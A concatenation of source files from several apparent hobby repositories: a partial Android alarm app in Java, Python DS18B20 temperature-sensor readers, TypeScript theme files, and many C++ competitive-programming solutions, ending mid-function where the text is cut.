alarm.auto_call = alarm.getIntFromBoolean(mauto_call);
alarm.vibrate = alarm.getIntFromBoolean(mvibrate);
alarm.enabled = alarm.getIntFromBoolean(menabled);
alarm.alert = malert;
alarm.message = mmessage;
return alarm;
}
public void setAlarm(Alarm alarm){
AlarmHelper.setAlarm(alarm);
}
public void addalarm(Alarm alarm){
AlarmHelper.addnew(alarm);
}
public void updateAlarm (Alarm alarm, int id){
AlarmHelper.updateAlarm(alarm, id);
}
public static void setToast(Context context, String text) {
toast = Toast.makeText(context , text, Toast.LENGTH_SHORT);
}
public static String getRingtoneTitle (Uri ringtoneUri){
rt =RingtoneManager.getRingtone(context, ringtoneUri);
return rt.getTitle(context);
}
}
<file_sep>/src/com/apkbot/alarmbot/Alarm.java
package com.apkbot.alarmbot;
import java.util.Calendar;
public class Alarm {
public int id;
public int hourOfDay;
public int minute;
public long time_in_millis;
public int enabled;
public int vibrate;
public String alert;
public String message;
public long alarm_time;
public int auto_call;
public Calendar calendar;
public void setTimeInMillis (){
calendar = Calendar.getInstance();
calendar.set(Calendar.HOUR_OF_DAY, hourOfDay);
calendar.set(Calendar.MINUTE, minute);
calendar.set(Calendar.SECOND, 0);
calendar.set(Calendar.MILLISECOND, 0);
if(System.currentTimeMillis() > calendar.getTimeInMillis()){
calendar.add(Calendar.DATE, 1);
}
time_in_millis = calendar.getTimeInMillis();
}
public static int get12hour(int hour){
int rhour;
if (hour >= 12){
rhour = hour - 12;
if (hour == 12)
rhour = 12;
}
else
rhour = hour;
return rhour;
}
public static String getAmPm(int hour){
String rAmPm;
if(hour >= 12)
rAmPm = "pm";
else
rAmPm = "am";
return rAmPm;
}
public static String getFormattedHour(int hourofDay){
String rhour;
hourofDay = get12hour(hourofDay);
if(hourofDay<10)
rhour = "0" + hourofDay;
else
rhour = "" + hourofDay;
return rhour;
}
public static String calculateTimeString (Alarm alarm){
long timedifference = alarm.time_in_millis - System.currentTimeMillis();
long hour = timedifference / (60*60*1000);
timedifference = timedifference % (60*60*1000);
long minute = timedifference / (60*1000);
return hour + " hours and " + minute + " minutes";
}
public static String getFormattedMinute(int minute){
String rminute;
if(minute<10)
rminute = "0" + minute;
else
rminute = "" + minute;
return rminute;
}
public static int getIntFromBoolean (Boolean bool){
if(bool == true)
return 1;
else
return 0;
}
public static boolean getBooleanFromInt (int i){
if(i == 1)
return true;
else
return false;
}
}
<file_sep>/src/com/apkbot/alarmbot/SetAlarmOnBoot.java
package com.apkbot.alarmbot;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
public class SetAlarmOnBoot extends BroadcastReceiver {
@Override
public void onReceive(Context arg0, Intent arg1) {
}
}
<file_sep>/src/com/apkbot/alarmbot/AlarmDialog.java
package com.apkbot.alarmbot;
import android.app.Activity;
import android.app.Dialog;
import android.content.Context;
import android.content.res.Resources;
import android.os.Bundle;
import android.view.MotionEvent;
import android.view.View;
import android.view.View.OnTouchListener;
import android.view.Window;
import android.widget.Button;
import android.widget.ProgressBar;
import android.widget.TimePicker;
public class AlarmDialog extends Dialog{
Context context;
Button done;
TimePicker picker;
public int hours ;
public int minutes ;
public AlarmDialog(Activity a, Context con) {
super (a);
context = con;
}
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
requestWindowFeature(Window.FEATURE_NO_TITLE);
setContentView(R.layout.add_dialog);
ProgressBar pb = (ProgressBar)findViewById (R.id.progressBarToday);
pb.setProgress(10);
picker= (TimePicker) findViewById(R.id.timePicker);
picker.setCurrentHour(5);
picker.setCurrentMinute(30);
picker.setOnTimeChangedListener(new TimePicker.OnTimeChangedListener() {
public void onTimeChanged(TimePicker view, int hourOfDay, int minute) {
hours = hourOfDay;
minutes = minute;
}
});
done = (Button) findViewById(R.id.done);
done.setOnTouchListener(new OnTouchListener() {
public boolean onTouch(View arg0, MotionEvent arg1) {
return false;
}
});
}
}
| 1e9d9edb4fe480f8e85f79c5cd9b2d6dca86118f | [
"Java"
] | 5 | Java | shubhamgrg04/AlarmBot | 68a448b1226a63669d3731677fef1d01c9d01ff9 | fd06f10451eb6849215d082390960396e4f8779f |
refs/heads/master | <file_sep>#!/usr/bin/python3
from tkinter import *
import glob
import time
import datetime
time1 =''
sysDir = '/sys/bus/w1/devices/'
w1Device = glob.glob(sysDir + '28*')[0]
w1Slave = w1Device + '/w1_slave'
def readTempDev():
f = open(w1Slave, 'r') # Opens the temperature device file
lines = f.readlines() # Returns the text
f.close()
return lines
def readTemp():
lines = readTempDev() # Read the temperature 'device file'
while lines[0].strip()[-3:] != 'YES':
time.sleep(0.2)
lines = readTempDev()
tEquals = lines[1].find('t=')
if tEquals != -1:
tempValue = lines[1][tEquals+2:]
tempCelsius = float(tempValue) / 1000.0
tempF = tempCelsius*9/5+32
return tempF
def tick():
global time1
time2=datetime.datetime.now().strftime('%H:%M:%S')
if time2 != time1:
time1 = time2
curTime.config(text=time2)
curTemp.config(text='%.1f'%readTemp()+'\u00b0'+" F")
curTime.after(200,tick)
rootWindow = Tk()
rootWindow.title('DS18B20')
rootWindow.geometry("500x500")
curTime = Label(rootWindow, font = ('fixed', 20),)
curTime.grid(sticky = N, row = 1, column = 1, padx = 5, pady = (20,20))
curTemp = Label(rootWindow, font = ('fixed', 40),)
curTemp.grid(sticky = N, row = 2, column = 1, padx = 5, pady = (20,20))
tick()
rootWindow.mainloop()
<file_sep>#!/usr/bin/env python
import glob
import time
# DS18B20.py
# 2016-04-25
# Public Domain
# Typical reading
# 73 01 4b 46 7f ff 0d 10 41 : crc=41 YES
# 73 01 4b 46 7f ff 0d 10 41 t=23187
# Example cmd output:
# 28-0114481055aa 74.9
# 28-020f924587f3 74.4
while True:
for sensor in glob.glob("/sys/bus/w1/devices/28*/w1_slave"):
id2 = sensor.split("/")[5]
try:
f = open(sensor, "r")
data = f.read()
f.close()
if "YES" in data:
(discard, sep, reading) = data.partition(' t=')
t = (float(reading) / 1000.0)*9/5+32
print("{} {:.1f}".format(id2, t))
else:
print("999.9")
except:
pass
time.sleep(3.0)
<file_sep># ds18b20
collection of code for ds18b20
most code can be found on forum
| 97e89a315d4d3308837a9c1c68e39194b62af00f | [
"Markdown",
"Python"
] | 3 | Python | bichpham/ds18b20 | 61728d6682ad40150ef71dc7b08475f5607b5598 | 91f0e87b17b7104b9ba1984b39775e73d94ef5b2 |
refs/heads/main | <repo_name>demolaemrick/ip-address-tracker<file_sep>/types/index.d.ts
export declare interface AppProps {
children: React.ReactNode;
}
<file_sep>/styles/theme.ts
import { createTheme } from "@mui/material/styles";
declare module "@mui/material/styles" {
interface Theme {
status: {
danger: React.CSSProperties["color"];
};
}
interface Palette {
neutral: Palette["primary"];
}
interface PaletteOptions {
neutral: PaletteOptions["primary"];
}
}
const theme = createTheme({
palette: {
neutral: {
main: "#999999",
},
},
typography: {
fontFamily: "'Rubik', san-serif",
h1: {
fontSize: "2rem",
fontWeight: "bold",
},
h3: {
fontSize: "0.94rem",
},
subtitle1: {
fontSize: "1.25rem",
},
},
});
// font-size: calc(14px + (26 - 14) * ((100vw - 300px) / (1600 - 300)));
export default theme;
| 9fe27360230c8cf56cf9e5269d58d4f8e3ed09be | [
"TypeScript"
] | 2 | TypeScript | demolaemrick/ip-address-tracker | 08512f13d5f9c76776eac6fdc39c11ab67a82cff | 23eb4787cc3a70e961e8c6aa5269673f20f86b84 |
refs/heads/master | <file_sep>#include <bits/stdc++.h>
#define INF 987654321
#define MOD 1000000007
using namespace std;
typedef long long ll;
typedef pair<int, int> pii;
typedef pair<ll, ll> pll;
ll a[200001];
int main() {
ios_base::sync_with_stdio(0);
cin.tie(0);
int n;
cin >> n;
map<ll, ll> m;
ll sum = 0, cnt = 0;
for (int i = 0; i < n; i++) {
cin >> a[i];
sum += a[i];
if ((sum % n + n) % n == 0) cnt++;
if (m.find((sum % n + n) % n) != m.end()) {
cnt += m[(sum % n + n) % n];
}
m[(sum % n + n) % n]++;
}
cout << cnt << "\n";
}
<file_sep>#include <bits/stdc++.h>
#define INF 987654321
#define MOD 1000000007
using namespace std;
typedef long long ll;
typedef pair<int, int> pii;
typedef pair<ll, ll> pll;
int a[200001];
int main() {
ios_base::sync_with_stdio(0);
cin.tie(0);
int n;
cin >> n;
for (int i = 0; i < n; i++) cin >> a[i];
set<int> s;
int res = 0;
for (int i = 0, j = 0; i < n; i++) {
if (s.count(a[i])) {
res = max(res, (int)s.size());
while (s.count(a[i])) {
s.erase(a[j++]);
}
i--;
}
else s.insert(a[i]);
}
res = max(res, (int)s.size());
cout << res << "\n";
}
<file_sep>#include <bits/stdc++.h>
#define INF 987654321
#define MOD 1000000007
using namespace std;
typedef long long ll;
typedef pair<int, int> pii;
typedef pair<ll, ll> pll;
int cnt[300001];
int main() {
ios_base::sync_with_stdio(0);
cin.tie(0);
int n, k;
cin >> n >> k;
queue<int> q;
ll res = 0;
for (int i = 0; i < n; i++) {
string s;
cin >> s;
while (!q.empty() && q.size() > k) {
cnt[q.front()]--;
res += cnt[q.front()];
q.pop();
}
cnt[s.length()]++;
q.push(s.length());
}
while (!q.empty()) {
cnt[q.front()]--;
res += cnt[q.front()];
q.pop();
}
cout << res << "\n";
}
<file_sep>#include <bits/stdc++.h>
#define INF 987654321
#define MOD 1000000007
using namespace std;
typedef long long ll;
typedef pair<int, int> pii;
typedef pair<ll, ll> pll;
int main() {
ios_base::sync_with_stdio(0);
cin.tie(0);
int n;
cin >> n;
set<int> s;
for (int i = 0; i < n; i++) {
int x;
cin >> x;
s.insert(x);
}
cout << s.size() << "\n";
}
<file_sep>#include <bits/stdc++.h>
#define INF 987654321
#define MOD 1000000007
using namespace std;
typedef long long ll;
typedef pair<int, int> pii;
typedef pair<ll, ll> pll;
int main() {
ios_base::sync_with_stdio(0);
cin.tie(0);
ll n;
cin >> n;
while (n != 1) {
cout << n << " ";
if (n % 2 == 1) n = n * 3 + 1;
else n /= 2;
}
cout << n << "\n";
}
<file_sep>#include <bits/stdc++.h>
#define INF 987654321
#define MOD 1000000007
#define PI 3.141592653589793238462643383279502884e+00
using namespace std;
typedef long long ll;
typedef pair<int, int> pii;
typedef pair<ll, ll> pll;
int main() {
ios_base::sync_with_stdio(0);
cin.tie(0);
int n;
cin >> n;
vector<int> v;
for (int i = 0; i < n; i++) {
int a;
cin >> a;
v.push_back(a);
}
sort(v.begin(), v.end());
int sum = 1;
for (int i = 0; i < n; i++) {
if (sum < v[i]) break;
sum += v[i];
}
cout << sum << "\n";
}
<file_sep>#include <bits/stdc++.h>
#define INF 987654321
#define MOD 1000000007
using namespace std;
typedef long long ll;
typedef pair<int, int> pii;
typedef pair<ll, ll> pll;
int main() {
ios_base::sync_with_stdio(0);
cin.tie(0);
int n, m, c;
cin >> n >> m >> c;
deque<pii> dq, dq2;
int l = 0;
vector<int> res;
for (int i = 1; i <= n; i++) {
ll x;
cin >> x;
while (!dq.empty() && dq.back().first >= x) dq.pop_back();
while (!dq2.empty() && dq2.back().first <= x) dq2.pop_back();
dq.push_back({ x, i });
dq2.push_back({ x, i });
while (abs(dq.front().first - dq2.front().first) > c) {
if (dq.front().second < dq2.front().second) {
l = dq.front().second;
dq.pop_front();
}
else {
l = dq2.front().second;
dq2.pop_front();
}
}
if (i - l >= m) res.push_back(i - m + 1);
}
if (res.empty()) cout << "NONE\n";
else for (int i = 0; i < res.size(); i++) cout << res[i] << "\n";
}
<file_sep>#include <bits/stdc++.h>
#define INF 987654321
#define MOD 1000000007
using namespace std;
typedef long long ll;
typedef pair<int, int> pii;
typedef pair<ll, ll> pll;
int n;
vector<int> v;
ll res = 2e9;
void solve(int idx, ll sum) {
if (idx == n) {
if(sum >= 0) res = min(res, sum);
return;
}
solve(idx + 1, sum + v[idx]);
solve(idx + 1, sum - v[idx]);
}
int main() {
ios_base::sync_with_stdio(0);
cin.tie(0);
cin >> n;
for (int i = 0; i < n; i++) {
int x;
cin >> x;
v.push_back(x);
}
solve(0, 0);
cout << res << "\n";
}
<file_sep>#include <bits/stdc++.h>
#define INF 987654321
#define MOD 1000000007
#define PI 3.141592653589793238462643383279502884e+00
using namespace std;
typedef long long ll;
typedef pair<int, int> pii;
typedef pair<ll, ll> pll;
int main() {
ios_base::sync_with_stdio(0);
cin.tie(0);
int n;
cin >> n;
stack<pii> st;
for (int i = 1; i <= n; i++) {
int x;
cin >> x;
while (!st.empty() && st.top().first <= x) st.pop();
if (st.empty()) cout << "0 ";
else cout << st.top().second << " ";
st.push({ x, i });
}
}
<file_sep>#include <bits/stdc++.h>
#define INF 987654321
#define MOD 1000000007
using namespace std;
typedef long long ll;
typedef pair<int, int> pii;
typedef pair<ll, ll> pll;
int main() {
ios_base::sync_with_stdio(0);
cin.tie(0);
int x, n;
cin >> x >> n;
set<pii> s;
multiset<int>ms;
s.insert({ 0, x });
ms.insert(x);
for (int i = 0; i < n; i++) {
int p;
cin >> p;
auto it = --s.lower_bound({ p, -INF });
pii a = *it;
s.erase(it);
s.insert({a.first, p});
s.insert({ p, a.second });
auto m = ms.find(a.second - a.first);
if (m != ms.end()) ms.erase(m);
ms.insert(p - a.first);
ms.insert(a.second - p);
cout << *--ms.end() <<" ";
}
}
<file_sep>#include <bits/stdc++.h>
#define INF 987654321
#define MOD 1000000007
#define PI 3.141592653589793238462643383279502884e+00
using namespace std;
typedef long long ll;
typedef pair<int, int> pii;
typedef pair<ll, ll> pll;
int n;
int tree[500001];
pii a[500001];
void add(int k, int x) {
while (k <= n) {
tree[k] += x;
k += k & -k;
}
}
int sum(int k) {
int res = 0;
while (k >= 1) {
res += tree[k];
k -= k & -k;
}
return res;
}
int main() {
ios_base::sync_with_stdio(0);
cin.tie(0);
cin >> n;
for (int i = 0; i < n; i++) {
cin >> a[i].first;
a[i].second = i + 1;
}
sort(a, a + n);
for (int i = 0; i < n; i++) {
a[i].first = i + 1;
swap(a[i].first, a[i].second);
}
sort(a, a + n);
for (int i = 0; i < n; i++) {
cout << a[i].first - sum(a[i].second)<< "\n";
add(a[i].second, 1);
}
}
<file_sep>#include <bits/stdc++.h>
#define INF 987654321
#define MOD 1000000007
using namespace std;
typedef long long ll;
typedef pair<int, int> pii;
typedef pair<ll, ll> pll;
pii p[200001];
int main() {
ios_base::sync_with_stdio(0);
cin.tie(0);
int n;
cin >> n;
for (int i = 0; i < n; i++) cin >> p[i].first >> p[i].second;
sort(p, p + n);
int here = 0;
priority_queue<int> pq;
int res = 0;
for (int i = 0; i < n; i++) {
here = p[i].first;
while (!pq.empty() && -pq.top() < here) pq.pop();
pq.push(-p[i].second);
res = max(res, (int)pq.size());
}
cout << res << "\n";
}
<file_sep>#include <bits/stdc++.h>
#define INF 987654321
#define MOD 1000000007
#define PI 3.141592653589793238462643383279502884e+00
using namespace std;
typedef long long ll;
typedef pair<int, int> pii;
typedef pair<ll, ll> pll;
int a[51], b[10001];
int n, m;
int comp(int i, int j) {
return i > j;
}
int sol(int x) {
int j = 0;
for (int i = 0; i < m; i += x, j++)
if (j >= n || a[j] < b[i]) return false;
return true;
}
int main() {
ios_base::sync_with_stdio(0);
cin.tie(0);
cin >> n;
for (int i = 0; i < n; i++) cin >> a[i];
cin >> m;
for (int i = 0; i < m; i++) cin >> b[i];
sort(a, a + n, comp);
sort(b, b + m, comp);
if (a[0] < b[0]) cout << "-1\n";
else {
int lo = 0, hi = 10000;
while (lo + 1< hi) {
int mid = (lo + hi) / 2;
if (sol(mid)) hi = mid;
else lo = mid;
}
cout << hi << "\n";
}
}
<file_sep>#include <bits/stdc++.h>
#define INF 987654321
#define MOD 1000000007
using namespace std;
typedef long long ll;
typedef pair<int, int> pii;
typedef pair<ll, ll> pll;
int a[200001];
int main() {
ios_base::sync_with_stdio(0);
cin.tie(0);
int n, x;
cin >> n >> x;
for (int i = 0; i < n; i++) cin >> a[i];
ll sum = 0;
int prev = 0;
int cnt = 0;
for (int i = 0; i < n; i++) {
sum += a[i];
if (sum > x) {
sum -= a[prev++];
sum -= a[i--];
}
else if (sum == x) {
cnt++;
sum -= a[prev++];
}
}
cout << cnt << "\n";
}
<file_sep>#include <bits/stdc++.h>
#define INF 987654321
#define MOD 1000000007
using namespace std;
typedef long long ll;
typedef pair<int, int> pii;
typedef pair<ll, ll> pll;
string a[101], b[101];
string op = "+-()<>";
int t, tt;
void make_infix(string s) {
string temp = "";
for (int i = 0; i < s.length(); i++) {
if (op.find(s[i]) != string::npos) {
if (temp != "") {
a[t++] = temp;
temp = "";
}
a[t++] = s[i];
if (s[i] == '>' || s[i] == '<') i++;
}
else temp += s[i];
}
if (temp != "") a[t++] = temp;
}
void infix_to_postfix() {
stack<string> st;
for (int i = 0; i < t; i++) {
if (a[i] == "(") st.push(a[i]);
else if (a[i] == ")") {
while (st.top() != "(") {
b[tt++] = st.top();
st.pop();
}
st.pop();
}
else if (op.find(a[i]) != string::npos) {
if (st.empty()) st.push(a[i]);
else if (a[i] == "+" || a[i] == "-") {
while (!st.empty() && (st.top() == "<" || st.top() == ">" || st.top() == "+" || st.top() == "-")) {
b[tt++] = st.top();
st.pop();
}
st.push(a[i]);
}
else if (a[i] == "<" || a[i] == ">") {
while (!st.empty() && (st.top() == "<" || st.top() == ">") ) {
b[tt++] = st.top();
st.pop();
}
st.push(a[i]);
}
}
else b[tt++] = a[i];
}
while (!st.empty()) b[tt++] = st.top(), st.pop();
}
int compute() {
stack<string> st;
for (int i = 0; i < tt; i++) {
if (op.find(b[i]) != string::npos) {
int x = stoi(st.top());
st.pop();
int y = stoi(st.top());
st.pop();
if (b[i] == "+") st.push(to_string(y + x));
else if (b[i] == "-") st.push(to_string(y - x));
else if (b[i] == "<") st.push(to_string(min(x, y)));
else st.push(to_string(max(x, y)));
}
else st.push(b[i]);
}
return stoi(st.top());
}
int main() {
ios_base::sync_with_stdio(0);
cin.tie(0);
string s;
cin >> s;
make_infix(s);
infix_to_postfix();
cout << compute() << "\n";
}
<file_sep>#include <bits/stdc++.h>
#define INF 987654321
#define MOD 1000000007
using namespace std;
typedef long long ll;
typedef pair<int, int> pii;
typedef pair<ll, ll> pll;
char a[1000001];
int main() {
ios_base::sync_with_stdio(0);
cin.tie(0);
string s;
cin >> s;
sort(s.begin(), s.end());
int cnt = 0;
for (int i = 0; i < s.length(); i++) {
if (s[i] == s[i + 1]) i++;
else cnt++;
}
if (cnt > 1) {
cout << "NO SOLUTION\n";
return 0;
}
int i = 0, j = 0;
while (i < s.length()) {
if (s[i] == s[i + 1]) {
a[j] = a[s.length() - j - 1] = s[i];
i += 2;
j++;
}
else {
a[s.length() / 2] = s[i];
i++;
}
}
for (int i = 0; i < s.length(); i++)cout << a[i];
}
<file_sep>#include <bits/stdc++.h>
#define INF 987654321
#define MOD 1000000007
#define PI 3.141592653589793238462643383279502884e+00
using namespace std;
typedef long long ll;
typedef pair<int, int> pii;
typedef pair<ll, ll> pll;
int n, m, sz = 1, cnt;
int tree[2000001], lazy[2000001], p[500001];
vector<int> adj[500001];
int lo[500001], hi[500001];
void propagate(int node, int s, int e) {
if (lazy[node]) {
tree[node] += (e - s + 1) * lazy[node];
if (node < sz) {
lazy[node * 2] += lazy[node];
lazy[node * 2 + 1] += lazy[node];
}
lazy[node] = 0;
}
}
void add(int node, int s, int e, int l, int r, int k) {
propagate(node, s, e);
if (r < s || e < l) return;
if (l <= s && e <= r) {
lazy[node] += k;
propagate(node, s, e);
return;
}
int mid = (s + e) / 2;
add(node * 2, s, mid, l, r, k);
add(node * 2 + 1, mid + 1, e, l, r, k);
tree[node] = tree[node * 2] + tree[node * 2 + 1];
}
int q(int node, int s, int e, int l, int r) {
propagate(node, s, e);
if (r < s || e < l) return 0;
if (l <= s && e <= r) return tree[node];
int mid = (s + e) / 2;
return q(node * 2, s, mid, l, r) + q(node * 2 + 1, mid + 1, e, l, r);
}
void dfs(int here) {
lo[here] = ++cnt;
for (auto there : adj[here]) {
if (!lo[there]) dfs(there);
}
hi[here] = cnt;
}
int main() {
ios_base::sync_with_stdio(0);
cin.tie(0);
cin >> n >> m;
while (sz < n) sz *= 2;
int x, y;
cin >> x;
p[1] = x;
for (int i = 2; i <= n; i++) {
cin >> x >> y;
p[i] = x;
adj[y].push_back(i);
}
dfs(1);
for (int i = 1; i <= n; i++) add(1, 1, sz, lo[i], lo[i], p[i]);
for (int i = 0; i < m; i++) {
char c;
int a, x;
cin >> c;
if (c == 'p') {
cin >> a >> x;
if (lo[a] == hi[a]) continue;
add(1, 1, sz, lo[a] + 1, hi[a], x);
}
else {
cin >> a;
cout << q(1, 1, sz, lo[a], lo[a]) << "\n";
}
}
}
<file_sep>#include <bits/stdc++.h>
#define INF 987654321
#define MOD 1000000007
using namespace std;
typedef long long ll;
typedef pair<int, int> pii;
typedef pair<ll, ll> pll;
int a[200001], b[2000001];
int main() {
ios_base::sync_with_stdio(0);
cin.tie(0);
int n, m, k;
cin >> n >> m >> k;
for (int i = 0; i < n; i++) cin >> a[i];
for (int i = 0; i < m; i++) cin >> b[i];
sort(a, a + n);
sort(b, b + m);
int p = 0, res = 0;
for (int i = 0; i < n && p < m; i++) {
if (b[p] < a[i] - k) {
p++;
i--;
}
else if (a[i] + k < b[p]) continue;
else {
p++;
res++;
}
}
cout << res << "\n";
}
<file_sep>#include <bits/stdc++.h>
#define INF 987654321
#define MOD 1000000007
using namespace std;
typedef long long ll;
typedef pair<int, int> pii;
typedef pair<ll, ll> pll;
ll a[200001];
int main() {
ios_base::sync_with_stdio(0);
cin.tie(0);
int n, x;
cin >> n >> x;
multiset<ll> ms;
ms.insert(0);
for (int i = 0; i < n; i++) cin >> a[i];
map<ll, ll> m;
ll sum = 0, cnt = 0;
for (int i = 0; i < n; i++) {
sum += a[i];
if (sum == x) cnt++;
if (m.find(sum - x) != m.end()) {
cnt += m[sum - x];
}
m[sum]++;
}
cout << cnt << "\n";
}
<file_sep>#include <bits/stdc++.h>
#define INF 987654321
#define MOD 1000000007
using namespace std;
typedef long long ll;
typedef pair<int, int> pii;
typedef pair<ll, ll> pll;
ll T[1000001];
int main() {
ios_base::sync_with_stdio(0);
cin.tie(0);
int n;
cin >> n;
for (int i = 0; i < n; i++) cin >> T[i];
stack<int> st;
ll res = 0;
for (int i = 0; i < n; i++) {
while (!st.empty() && T[st.top()] > T[i]) {
ll h = T[st.top()];
st.pop();
ll w = i;
if (!st.empty()) w = i - st.top() - 1;
res = max(res, h * w);
}
st.push(i);
}
while (!st.empty()) {
ll h = T[st.top()];
st.pop();
ll w = n;
if (!st.empty()) w = n - st.top() - 1;
res = max(res, h * w);
}
cout << res << "\n";
}
<file_sep>#include <bits/stdc++.h>
#define INF 987654321
#define MOD 1000000007
using namespace std;
typedef long long ll;
typedef pair<int, int> pii;
typedef pair<ll, ll> pll;
int main() {
ios_base::sync_with_stdio(0);
cin.tie(0);
int t;
cin >> t;
while (t--) {
int a, b;
cin >> a >> b;
if (a < b) swap(a, b);
if (a > b * 2) cout << "NO\n";
else {
a %= 3;
b %= 3;
if (a < b)swap(a, b);
if ((a == 2 && b == 1) || (a == 0 && b == 0))cout << "YES\n";
else cout << "NO\n";
}
}
}
<file_sep>#include <bits/stdc++.h>
#define INF 987654321
#define MOD 1000000007
using namespace std;
typedef long long ll;
typedef pair<int, int> pii;
typedef pair<ll, ll> pll;
int dp[1000001];
int main() {
ios_base::sync_with_stdio(0);
cin.tie(0);
int n;
cin >> n;
for (int i = 1; i <= n; i++) {
dp[i] = INF;
int t = i;
while (t) {
int digit = t % 10;
if (i - digit >= 0) dp[i] = min(dp[i], dp[i - digit] + 1);
else dp[i] = 1;
t /= 10;
}
}
cout << dp[n] << "\n";
}
<file_sep>#include <bits/stdc++.h>
#define INF 987654321
#define MOD 1000000007
using namespace std;
typedef long long ll;
typedef pair<int, int> pii;
typedef pair<ll, ll> pll;
int main() {
ios_base::sync_with_stdio(0);
cin.tie(0);
string s;
cin >> s;
int cnt = 1, res = 1;
for (int i = 1; i < (int) s.length(); i++) {
if (s[i] != s[i - 1]) {
cnt = 1;
}
else cnt++;
res = max(res, cnt);
}
cout << res << "\n";
}
<file_sep>#include <bits/stdc++.h>
#define INF 987654321
#define MOD 1000000007
using namespace std;
typedef long long ll;
typedef pair<int, int> pii;
typedef pair<ll, ll> pll;
pll a[5001];
int main() {
ios_base::sync_with_stdio(0);
cin.tie(0);
ll n, x;
cin >> n >> x;
for (int i = 0; i < n; i++) {
cin >> a[i].first;
a[i].second = i + 1;
}
sort(a, a + n);
for (int i = 0; i < n - 2; i++) {
ll f = a[i].first;
for (int j = i + 1; j < n; j++) {
ll s = a[j].first;
auto it = lower_bound(a + j + 1, a + n, pll{ x - f - s, 0 });
if (f + s + it->first == x) {
cout << a[i].second << " " << a[j].second << " " << it->second << "\n";
return 0;
}
}
}
cout << "IMPOSSIBLE\n";
}
<file_sep>#include <bits/stdc++.h>
#define INF 987654321
#define MOD 1000000007
#define PI 3.141592653589793238462643383279502884e+00
using namespace std;
typedef long long ll;
typedef pair<int, int> pii;
typedef pair<ll, ll> pll;
int main() {
ios_base::sync_with_stdio(0);
cin.tie(0);
int n;
cin >> n;
vector<pii> v(n);
for (int i = 0; i < n; i++) cin >> v[i].first >> v[i].second;
sort(v.begin(), v.end());
priority_queue<int> pq;
for (int i = 0; i < n; i++) {
pq.push(-v[i].second);
while (pq.size() > v[i].first) pq.pop();
}
int res = 0;
while (!pq.empty()) {
res -= pq.top();
pq.pop();
}
cout << res << "\n";
}
<file_sep>#include <bits/stdc++.h>
#define INF 987654321
#define MOD 1000000007
using namespace std;
typedef long long ll;
typedef pair<int, int> pii;
typedef pair<ll, ll> pll;
int a[200001];
int main() {
ios_base::sync_with_stdio(0);
cin.tie(0);
int n, k;
cin >> n >> k;
for (int i = 0; i < n; i++) cin >> a[i];
multiset<int> ms, ms2;
for (int i = 0; i < n; i++) {
if (i - k >= 0) {
if (ms.count(a[i - k])) {
auto it = ms.find(a[i - k]);
ms.erase(it);
}
else {
auto it = ms2.find(a[i - k]);
ms2.erase(it);
}
}
if (ms.size() <= ms2.size()) {
if (ms2.empty() || a[i] <= *ms2.begin()) ms.insert(a[i]);
else {
ms.insert(*ms2.begin());
ms2.erase(ms2.begin());
ms2.insert(a[i]);
}
}
else {
if (a[i] >= *ms.rbegin()) ms2.insert(a[i]);
else {
ms2.insert(*ms.rbegin());
ms.erase(--ms.end());
ms.insert(a[i]);
}
}
if (i - k + 1 >= 0) {
cout << *ms.rbegin() << " ";
}
}
}
<file_sep>#include <bits/stdc++.h>
#define INF 987654321
#define MOD 1000000007
using namespace std;
typedef long long ll;
typedef pair<int, int> pii;
typedef pair<ll, ll> pll;
int a[101], dp[101][100001];
int main() {
ios_base::sync_with_stdio(0);
cin.tie(0);
int n, sum = 0;
cin >> n;
for (int i = 0; i < n; i++) {
cin >> a[i];
sum += a[i];
}
dp[0][0] = 1;
for (int i = 1; i <= n; i++) {
for (int j = 0; j <= sum; j++) {
dp[i][j] = dp[i - 1][j];
if (j - a[i - 1] >= 0 && dp[i - 1][j - a[i - 1]]) dp[i][j] = 1;
}
}
vector<int> res;
for (int i = 1; i <= sum; i++) if (dp[n][i]) res.push_back(i);
cout << res.size() << "\n";
for (auto i : res)cout << i << " ";
}
<file_sep>#include <bits/stdc++.h>
#define INF 987654321
#define MOD 1000000007
using namespace std;
typedef long long ll;
typedef pair<int, int> pii;
typedef pair<ll, ll> pll;
int main() {
ios_base::sync_with_stdio(0);
cin.tie(0);
int n;
cin >> n;
stack<pll> st;
ll res = 0;
for (int i = 0; i < n; i++) {
int h;
cin >> h;
while (!st.empty() && st.top().first > h) {
pll pi = st.top();
st.pop();
ll w = i;
if (!st.empty()) w = i - st.top().second - 1;
res = max(res, pi.first * w);
}
st.push({ h, i });
}
while (!st.empty()) {
pll pi = st.top();
st.pop();
ll w = n;
if (!st.empty()) w = n - st.top().second - 1;
res = max(res, pi.first * w);
}
cout << res << "\n";
}
<file_sep>#include <bits/stdc++.h>
#define INF 987654321
#define MOD 1000000007
#define PI 3.141592653589793238462643383279502884e+00
using namespace std;
typedef long long ll;
typedef pair<int, int> pii;
typedef pair<ll, ll> pll;
int n, sz = 1;
int tree[4000001];
void add(int k, int x) {
k += sz;
tree[k] += x;
for (k /= 2; k >= 1; k /= 2) {
tree[k] = tree[k * 2] + tree[k * 2 + 1];
}
}
int q(int n, int k) {
if (n >= sz) return n - sz;
if(k <= tree[n * 2]) return q(n * 2, k);
else return q(n * 2 + 1, k - tree[n * 2]);
}
int main() {
ios_base::sync_with_stdio(0);
cin.tie(0);
cin >> n;
while (sz < 1000000) sz *= 2;
for (int i = 0; i < n; i++) {
int a, b, c;
cin >> a;
if (a == 1) {
cin >> b;
int res = q(1, b);
cout << res + 1<< "\n";
add(res, -1);
}
else {
cin >> b >> c;
b--;
add(b, c);
}
}
}
<file_sep>#include <bits/stdc++.h>
#define INF 987654321
#define MOD 1000000007
using namespace std;
typedef long long ll;
typedef pair<int, int> pii;
typedef pair<ll, ll> pll;
int dp[1000001], dice[6] = { 1, 2, 3, 4, 5, 6 };
int main() {
ios_base::sync_with_stdio(0);
cin.tie(0);
int n;
cin >> n;
dp[0] = 1;
for (int i = 1; i <= n; i++) {
for (auto j : dice) {
if (i - j >= 0) {
dp[i] += dp[i - j];
dp[i] %= MOD;
}
}
}
cout << dp[n] << "\n";
}
<file_sep>#include <bits/stdc++.h>
#define INF 987654321
#define MOD 1000000007
#define PI 3.141592653589793238462643383279502884e+00
using namespace std;
typedef long long ll;
typedef pair<int, int> pii;
typedef pair<ll, ll> pll;
int n, m, sz = 1;
vector<int> mt[400001];
void add(int k, int x) {
k += sz;
mt[k].push_back(x);
for (k /= 2; k >= 1; k /= 2) {
mt[k].push_back(x);
}
}
int q(int node, int s, int e, int x, int y, int k) {
